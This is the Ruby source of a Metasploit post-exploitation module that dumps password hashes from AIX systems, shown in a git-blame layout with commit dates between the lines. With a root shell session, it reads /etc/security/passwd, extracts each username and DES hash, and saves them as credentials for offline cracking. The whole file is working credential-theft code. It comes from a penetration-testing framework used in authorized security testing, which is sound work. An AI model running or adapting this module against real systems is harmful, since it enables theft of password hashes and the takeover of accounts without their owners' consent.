2012-01-06 20:31:22 -08:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-01-06 20:31:22 -08:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Post
|
2013-09-05 13:41:25 -05:00
|
|
|
include Msf::Post::File
|
|
|
|
|
include Msf::Post::Linux::Priv
|
2012-01-06 20:31:22 -08:00
|
|
|
|
2023-02-08 13:47:34 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'AIX Gather Dump Password Hashes',
|
|
|
|
|
'Description' => %q{ Post Module to dump the password hashes for all users on an AIX System},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' => ['theLightCosine'],
|
|
|
|
|
'Platform' => [ 'aix' ],
|
|
|
|
|
'SessionTypes' => [ 'shell' ]
|
|
|
|
|
)
|
|
|
|
|
)
|
2012-01-06 20:31:22 -08:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
if is_root?
|
2023-02-08 13:47:34 +00:00
|
|
|
passwd_file = read_file('/etc/security/passwd')
|
2012-01-06 20:31:22 -08:00
|
|
|
|
2014-06-24 15:23:37 -05:00
|
|
|
username = ''
|
2023-02-08 13:47:34 +00:00
|
|
|
hash = ''
|
2012-01-06 20:31:22 -08:00
|
|
|
|
2014-06-24 15:23:37 -05:00
|
|
|
passwd_file.each_line do |line|
|
|
|
|
|
user_line = line.match(/(\w+):/)
|
|
|
|
|
if user_line
|
|
|
|
|
username = user_line[1]
|
|
|
|
|
end
|
2012-01-06 20:31:22 -08:00
|
|
|
|
2014-06-24 15:23:37 -05:00
|
|
|
hash_line = line.match(/password = (\w+)/)
|
|
|
|
|
if hash_line
|
|
|
|
|
hash = hash_line[1]
|
|
|
|
|
end
|
|
|
|
|
|
2023-02-08 13:47:34 +00:00
|
|
|
next unless hash.present?
|
|
|
|
|
|
|
|
|
|
print_good "#{username}:#{hash}"
|
|
|
|
|
credential_data = {
|
|
|
|
|
jtr_format: 'des',
|
|
|
|
|
origin_type: :session,
|
|
|
|
|
post_reference_name: refname,
|
|
|
|
|
private_type: :nonreplayable_hash,
|
|
|
|
|
private_data: hash,
|
|
|
|
|
session_id: session_db_id,
|
|
|
|
|
username: username,
|
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
|
}
|
|
|
|
|
create_credential(credential_data)
|
|
|
|
|
username = ''
|
|
|
|
|
hash = ''
|
2012-01-06 20:31:22 -08:00
|
|
|
end
|
2014-06-24 15:23:37 -05:00
|
|
|
|
|
|
|
|
else
|
2023-02-08 13:47:34 +00:00
|
|
|
print_error('You must run this module as root!')
|
2012-01-06 20:31:22 -08:00
|
|
|
end
|
2014-06-24 15:23:37 -05:00
|
|
|
end
|
2012-01-06 20:31:22 -08:00
|
|
|
end
|